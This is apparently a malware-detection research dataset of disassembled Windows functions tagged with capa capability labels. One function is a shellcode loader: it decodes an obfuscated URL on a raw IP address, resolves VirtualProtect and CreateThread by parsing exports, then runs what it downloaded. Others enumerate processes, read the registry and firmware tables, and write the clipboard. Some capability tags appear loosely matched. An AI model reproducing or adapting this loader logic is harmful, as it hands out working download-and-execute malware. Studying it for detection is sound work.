joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140006a30
Capabilities:
Open clipboard
Write clipboard data

Disassembly:
push rsi
sub rsp, 0x20
mov rsi, rcx
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
mov rdx, qword [rsi + 0x18]
test eax, eax
je 0x140006b19
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x40], rbp
mov rbp, rsi
mov qword [rsp + 0x48], rdi
cmp rdx, 0xf
jbe 0x140006a68
mov rbp, qword [rsi]
mov rdi, 0xffffffffffffffff
nop
cmp byte [rdi + rbp + 1], 0
lea rdi, [rdi + 1]
jne 0x140006a70
lea rdx, [rdi + 1]
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
lea r8, [rdi + 1]
mov rdx, rbp
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
call qword [sym.imp.USER32.dll_EmptyClipboard]
mov rdx, rbx
mov ecx, 1
call qword [sym.imp.USER32.dll_SetClipboardData]
call qword [sym.imp.USER32.dll_CloseClipboard]
mov rdx, qword [rsi + 0x18]
mov rdi, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x38]
cmp rdx, 0xf
jbe 0x140006b15
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140006b10
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006b66
mov rcx, r8
call fcn.14002c360
mov al, 1
jmp 0x140006b4d
cmp rdx, 0xf
jbe 0x140006b4b
mov rcx, qword [rsi]
inc rdx
cmp rdx, 0x1000
jb 0x140006b46
mov r8, qword [rcx - 8]
add rdx, 0x27
sub rcx, r8
lea rax, [rcx - 8]
cmp rax, 0x1f
ja 0x140006b66
mov rcx, r8
call fcn.14002c360
xor al, al
mov byte [rsi], 0
mov qword [rsi + 0x18], 0xf
mov qword [rsi + 0x10], 0
add rsp, 0x20
pop rsi
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
Function at 0x1400086f0
Capabilities:
Get system information on windows

Disassembly:
push rbx
sub rsp, 0x70
mov rax, qword [0x14003e080]
xor rax, rsp
mov qword [rsp + 0x60], rax
mov eax, 1
mov ecx, 0xff
cpuid
shr edx, 0x1c
xorps xmm0, xmm0
movups xmmword [rsp + 0x20], xmm0
mov dword [rsp + 0x24], ebx
test dl, 1
jne 0x14000873a
xor al, al
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14002c340
add rsp, 0x70
pop rbx
ret
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemInfo]
movzx eax, byte [rsp + 0x26]
cmp eax, dword [rsp + 0x50]
setg al
mov rcx, qword [rsp + 0x60]
xor rcx, rsp
call fcn.14002c340
add rsp, 0x70
pop rbx
ret

Function at 0x14000b120
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x1150
call fcn.14002cd50
sub rsp, rax
mov rax, qword [0x14003e080]
xor rax, rsp
mov qword [rsp + 0x1140], rax
mov rbp, rcx
lea r8, [rsp + 0x20]
lea rcx, [rsp + 0x30]
mov edx, 0x1000
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x14000b1db
mov esi, dword [rsp + 0x20]
xor ebx, ebx
shr esi, 2
test esi, esi
je 0x14000b1db
nop dword [rax + rax]
mov r8d, dword [rsp + rbx*4 + 0x30]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14000b1d5
mov r9d, 0x104
lea r8, [rsp + 0x1030]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
test eax, eax
je 0x14000b1cc
mov rdx, rbp
lea rcx, [rsp + 0x1030]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbsicmp]
test eax, eax
je 0x14000b206
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, esi
jb 0x14000b180
xor al, al
mov rcx, qword [rsp + 0x1140]
xor rcx, rsp
call fcn.14002c340
lea r11, [rsp + 0x1150]
mov rbx, qword [r11 + 0x18]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x14000b1dd
Function at 0x14000eae0
Capabilities:
Enumerate process modules

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
mov eax, 0x1150
call fcn.14002cd50
sub rsp, rax
mov rax, qword [0x14003e080]
xor rax, rsp
mov qword [rsp + 0x1140], rax
mov rbp, rdx
lea r8, [rsp + 0x20]
mov edx, 0x1000
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_K32EnumProcesses]
test eax, eax
je 0x14000eb9b
mov esi, dword [rsp + 0x20]
xor ebx, ebx
shr esi, 2
test esi, esi
je 0x14000eb9b
nop dword [rax + rax]
mov r8d, dword [rsp + rbx*4 + 0x30]
xor edx, edx
mov ecx, 0x410
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x14000eb95
mov r9d, 0x104
lea r8, [rsp + 0x1030]
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_K32GetModuleBaseNameA]
test eax, eax
je 0x14000eb8c
mov rdx, rbp
lea rcx, [rsp + 0x1030]
call qword [sym.imp.api_ms_win_crt_multibyte_l1_1_0.dll__mbscmp]
test eax, eax
je 0x14000ebc6
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
inc ebx
cmp ebx, esi
jb 0x14000eb40
xor al, al
mov rcx, qword [rsp + 0x1140]
xor rcx, rsp
call fcn.14002c340
lea r11, [rsp + 0x1150]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, 1
jmp 0x14000eb9d

Function at 0x1400113f0
Capabilities:
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x10], rbx
push rsi
push rdi
push r14
sub rsp, 0x450
mov rax, qword [0x14003e080]
xor rax, rsp
mov qword [rsp + 0x440], rax
mov rsi, r9
mov rbx, r8
mov rdi, rdx
mov r14, rcx
mov dword [rsp + 0x3c], 1
xor edx, edx
mov r8d, 0x400
lea rcx, [rsp + 0x40]
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x38], 0x400
lea rax, [rsp + 0x30]
mov qword [rsp + 0x20], rax
mov r9d, 0x20019
xor r8d, r8d
mov rdx, rbx
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14001150e
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0x3c]
xor r8d, r8d
mov rdx, rsi
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140011503
lea rax, [rsp + 0x40]
mov r8, qword [rsp + 0x490]
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1400114c3
inc rax
test ecx, ecx
jne 0x1400114b0
test edx, edx
jne 0x140011503
mov rcx, qword [0x14003ee40]
mov rax, qword [rcx + 8]
cmp byte [rax + 0x19], dl
jne 0x1400114ef
cmp qword [rax + 0x20], rdi
jae 0x1400114e3
mov rax, qword [rax + 0x10]
jmp 0x1400114e9
mov rcx, rax
mov rax, qword [rax]
cmp byte [rax + 0x19], 0
je 0x1400114d7
cmp byte [rcx + 0x19], 0
jne 0x140011532
cmp rdi, qword [rcx + 0x20]
jb 0x140011532
inc dword [rcx + 0x28]
mov rax, qword [r14]
inc byte [rax]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x440]
xor rcx, rsp
call fcn.14002c340
mov rbx, qword [rsp + 0x478]
add rsp, 0x450
pop r14
pop rdi
pop rsi
ret
lea rcx, str.invalid_map_K__T__key
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Xout_of_range_char_const____ptr64_]
int3
Function at 0x14001f130
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
movabs rax, 0xcbf29ce484222325
mov r9d, 0
sub r8, rdx
je 0x14001f164
movabs r10, 0x100000001b3
nop
movzx ecx, byte [rdx + r9]
inc r9
xor rax, rcx
imul rax, r10
cmp r9, r8
jb 0x14001f150
ret

Function at 0x1400206f0
Capabilities:
Get system firmware table

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x30
mov rdi, rcx
mov qword [rsp + 0x28], rcx
xor esi, esi
mov ecx, 0xe0
call fcn.14002c368
mov rbx, rax
mov qword [rsp + 0x28], rax
xorps xmm0, xmm0
movups xmmword [rax], xmm0
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], 0xf
mov byte [rax], sil
movups xmmword [rax + 0x20], xmm0
mov qword [rax + 0x30], rsi
mov qword [rax + 0x38], 0xf
mov byte [rax + 0x20], sil
movups xmmword [rax + 0x40], xmm0
mov qword [rax + 0x50], rsi
mov qword [rax + 0x58], 0xf
mov byte [rax + 0x40], sil
movups xmmword [rax + 0x60], xmm0
mov qword [rax + 0x70], rsi
mov qword [rax + 0x78], 0xf
mov byte [rax + 0x60], sil
movups xmmword [rax + 0x80], xmm0
mov qword [rax + 0x90], rsi
mov qword [rax + 0x98], 0xf
mov byte [rax + 0x80], sil
movups xmmword [rax + 0xa0], xmm0
mov qword [rax + 0xb0], rsi
mov qword [rax + 0xb8], 0xf
mov byte [rax + 0xa0], sil
movups xmmword [rax + 0xc0], xmm0
mov qword [rax + 0xd0], rsi
mov qword [rax + 0xd8], 0xf
mov byte [rax + 0xc0], sil
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov ecx, 0x52534d42
call qword [sym.imp.KERNEL32.dll_GetSystemFirmwareTable]
nop
mov qword [rdi], rbx
mov rax, rdi
mov rbx, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
Function at 0x140029be0
Capabilities:
Validate payment card number using luhn algorithm

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov esi, edx
mov dword [rcx + 0x74], 0
mov rbx, rcx
mov edi, 0x7fffffff
movsx ecx, byte [rbx + 0x78]
lea eax, [rcx - 0x30]
cmp al, 9
ja 0x140029ca5
lea r8d, [rcx - 0x30]
cmp r8d, 0xffffffff
je 0x140029ca5
mov r9d, dword [rbx + 0x74]
mov ecx, 0x7fffffff
sub ecx, r8d
mov eax, 0x66666667
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add edx, eax
cmp r9d, edx
jg 0x140029cbe
lea eax, [r9 + r9*4]
dec edi
lea ecx, [r8 + rax*2]
mov rax, qword [rbx + 0x10]
mov dword [rbx + 0x74], ecx
mov rcx, qword [rbx]
cmp rcx, rax
je 0x140029c95
cmp byte [rcx], 0x5c
jne 0x140029c8e
lea rdx, [rcx + 1]
cmp rdx, rax
je 0x140029c8e
mov r8d, dword [rbx + 0x80]
test r8b, 8
jne 0x140029c7c
movzx eax, byte [rdx]
sub al, 0x28
cmp al, 1
jbe 0x140029c8b
test r8b, 0x10
jne 0x140029c8e
movzx eax, byte [rdx]
sub al, 0x7b
test al, 0xfd
jne 0x140029c8e
mov rcx, rdx
lea rax, [rcx + 1]
mov qword [rbx], rax
mov rcx, rbx
call fcn.1400247e0
test edi, edi
jne 0x140029c00
mov rbx, qword [rsp + 0x30]
cmp edi, 0x7fffffff
mov rsi, qword [rsp + 0x38]
setne al
add rsp, 0x20
pop rdi
ret
mov edx, esi
call fcn.1400247d0
int3

Function at 0x14002d0cc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14002d116
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14002d116
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14002d116
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14002d116
cmp dword [rcx + 0x84], 0xe
jbe 0x14002d116
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14002d118
xor al, al
add rsp, 0x28
ret
Function at 0x14000119c
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
movsxd rax, dword [rcx + 0x3c]
xor r8d, r8d
mov r9, rcx
mov edx, dword [rax + rcx + 0x88]
add rdx, rcx
mov r11d, dword [rdx + 0x1c]
mov ebx, dword [rdx + 0x20]
mov ebp, dword [rdx + 0x24]
mov r10d, dword [rdx + 0x18]
add r11, rcx
add rbx, rcx
add rbp, rcx
test r10, r10
je 0x14000120b
movzx eax, word [rbp + r8*2]
mov esi, dword [rbx + r8*4]
lea rdi, [0x14001ca88]
mov eax, dword [r11 + rax*4]
add rsi, r9
mov ecx, 0xf
add rax, r9
repe cmpsb byte [rsi], byte [rdi]
je 0x14000120b
inc r8
cmp r8, r10
jb 0x1400011df
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret

Function at 0x1400013f8
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
lea rbp, [rsp - 0x27]
sub rsp, 0xa0
xor r13d, r13d
lea r8, [rbp + 0x67]
lea rdx, [rbp + 0x77]
lea rcx, [rbp - 0x11]
mov dword [rbp - 0x11], 0x740068
mov dword [rbp - 0xd], 0x700074
mov dword [rbp - 9], 0x2f003a
mov dword [rbp - 5], 0x38002f
mov dword [rbp - 1], 0x31002e
mov dword [rbp + 3], 0x380033
mov dword [rbp + 7], 0x33002e
mov dword [rbp + 0xb], 0x2e0033
mov dword [rbp + 0xf], 0x310031
mov dword [rbp + 0x13], 0x2f0033
mov dword [rbp + 0x17], 0x610074
mov dword [rbp + 0x1b], 0x74
mov qword [rbp + 0x77], r13
mov dword [rbp + 0x67], r13d
call fcn.140001220
test al, al
jne 0x1400014a2
lea r9d, [r13 + 0x10]
lea r8, str.Error
lea rdx, str.Failed_to_download_the_file_
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x140001566
call fcn.140001178
mov rcx, rax
mov r12, rax
call fcn.14000119c
lea rdx, [rbp - 0x39]
mov rcx, r12
mov rsi, rax
mov dword [rbp - 0x39], 0x74726956
mov dword [rbp - 0x35], 0x506c6175
mov dword [rbp - 0x31], 0x65746f72
mov word [rbp - 0x2d], 0x7463
mov byte [rbp - 0x2b], r13b
mov dword [rbp - 0x49], 0x61657243
mov dword [rbp - 0x45], 0x68546574
mov dword [rbp - 0x41], 0x64616572
mov byte [rbp - 0x3d], r13b
mov dword [rbp - 0x29], 0x74696157
mov dword [rbp - 0x25], 0x53726f46
mov dword [rbp - 0x21], 0x6c676e69
mov dword [rbp - 0x1d], 0x6a624f65
mov dword [rbp - 0x19], 0x746365
call rsi
lea rdx, [rbp - 0x49]
mov rcx, r12
mov rbx, rax
call rsi
lea rdx, [rbp - 0x29]
mov rcx, r12
mov rdi, rax
call rsi
mov rcx, qword [rbp + 0x77]
mov edx, 8
lea r8d, [rdx + 0x38]
lea r9, [rbp + 0x6f]
mov rsi, rax
call rbx
mov r8, qword [rbp + 0x77]
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
call rdi
or edx, 0xffffffff
mov rcx, rax
call rsi
add rsp, 0xa0
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
Function at 0x140001ba4
Capabilities:
Check if file exists
Get file attributes

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x5f]
sub rsp, 0xb0
mov qword [rbp - 0x39], 0xfffffffffffffffe
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov edi, 7
mov qword [rbp - 0x11], rdi
xor esi, esi
mov qword [rbp - 0x19], rsi
mov word [rbp - 0x29], si
lea ebx, [rdi + 0x17]
mov r8d, ebx
lea rdx, [0x14001cc28]
lea rcx, [rbp - 0x29]
call fcn.1400025f4
nop
mov qword [rbp + 0x17], rdi
mov qword [rbp + 0xf], rsi
mov word [rbp - 1], si
mov r8d, ebx
lea rdx, str.C:UsersPublicDesktopQQ.lnk
lea rcx, [rbp - 1]
call fcn.1400025f4
nop
mov qword [rbp + 0x3f], rdi
mov qword [rbp + 0x37], rsi
mov word [rbp + 0x27], si
mov r8d, ebx
lea rdx, str.C:UsersPublicDesktop_
lea rcx, [rbp + 0x27]
call fcn.1400025f4
nop
mov edi, esi
lea rbx, [rbp - 0x29]
cmp qword [rbx + 0x18], 8
jb 0x140001c43
mov rcx, qword [rbx]
jmp 0x140001c46
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x140001c5e
inc edi
add rbx, 0x28
cmp edi, 3
jb 0x140001c37
jmp 0x140001c67
call fcn.1400013f8
nop
mov sil, 1
lea r9, [0x140001f1c]
mov edx, 0x28
lea r8d, [rdx - 0x25]
lea rcx, [rbp - 0x29]
call fcn.140003a6c
mov al, sil
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret

Function at 0x140002bc0
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x30]
ret

Function at 0x140005fbc
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140005e2c
Function at 0x140011720
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [0x140021fa0]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.140006d60
xor ebx, ebx
cmp qword [0x140022d70], rbx
mov rdi, rax
jne 0x140011833
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x14001190a
lea rdx, [0x14001b400]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x14001190a
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x140022d70], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x140022d78], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x140022d80], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x140022d90], rax
test rax, rax
je 0x14001182a
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x140022d88], rax
jmp 0x14001183a
mov rax, qword [0x140022d88]
jmp 0x140011841
mov rax, qword [0x140022d88]
mov r11, qword [0x140022d90]
cmp rax, rdi
je 0x1400118a8
cmp r11, rdi
je 0x1400118a8
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x140022d90]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x1400118a8
test rax, rax
je 0x1400118a8
call rsi
test rax, rax
je 0x1400118a2
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x1400118a2
test byte [rsp + 0x40], 1
jne 0x1400118a8
bts ebp, 0x15
jmp 0x1400118e8
mov rcx, qword [0x140022d78]
cmp rcx, rdi
je 0x1400118e8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400118e8
call rax
mov rbx, rax
test rax, rax
je 0x1400118e8
mov rcx, qword [0x140022d80]
cmp rcx, rdi
je 0x1400118e8
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x1400118e8
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x140022d70]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x14001190a
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x14001190c
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140011b60
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x1400152cb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [0x140021fa0]
jne 0x140011b7a
rol rcx, 0x10
test cx, 0xffff
jne 0x140011b76
repz ret
ror rcx, 0x10
jmp 0x140015224
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x140022e40]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x140022f38]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x1400152a9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x140022e40]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x1400152cb
mov rax, qword [rsp + 0x88]
mov qword [0x140022f38], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x140022ed8], rax
mov rax, qword [0x140022f38]
mov qword [0x140022db0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x140022ec0], rax
mov dword [0x140022da0], 0xc0000409
mov dword [0x140022da4], 1
mov rax, qword [0x140021fa0]
mov qword [rsp + 0x68], rax
mov rax, qword [0x140021fa8]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x140022e38], eax
mov ecx, 1
call fcn.140011b80
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x14001c7b8]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x140022e38], 0
jne 0x140015352
mov ecx, 1
call fcn.140011b80
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x1400018fc
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001946
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001946
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001946
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001946
cmp dword [rcx + 0x84], 0xe
jbe 0x140001946
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001948
xor al, al
add rsp, 0x28
ret

Function at 0x1400047a0
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000480f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000480f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000480f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000480f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000480f
cmp dword [rcx + 0x84], 0xe
jbe 0x14000480f
cmp dword [rcx + 0xf8], 0
je 0x14000480f
mov ecx, ebx
call fcn.1400048c0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000469c
nop
cmp dword [rbp + 0x20], 0
je 0x14000485d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140004868
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400047a0

Function at 0x1400049a4
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14000480f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14000480f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14000480f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14000480f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14000480f
cmp dword [rcx + 0x84], 0xe
jbe 0x14000480f
cmp dword [rcx + 0xf8], 0
je 0x14000480f
mov ecx, ebx
call fcn.1400048c0
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.14000469c
nop
cmp dword [rbp + 0x20], 0
je 0x14000485d
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140004868
int3
xor r8d, r8d
xor edx, edx
jmp 0x1400047a0
Function at 0x14000ca74
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000caa4
xor eax, eax
jmp 0x14000cb67
mov rbp, rbx
cmp word [rax], si
je 0x14000cac9
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000cab0
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000caac
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000c994
movsxd r14, eax
test eax, eax
jne 0x14000cb07
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000ca9d
mov rcx, r14
call fcn.140007f78
mov rdi, rax
test rax, rax
jne 0x14000cb20
xor ecx, ecx
call fcn.140007f3c
jmp 0x14000cafc
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000c994
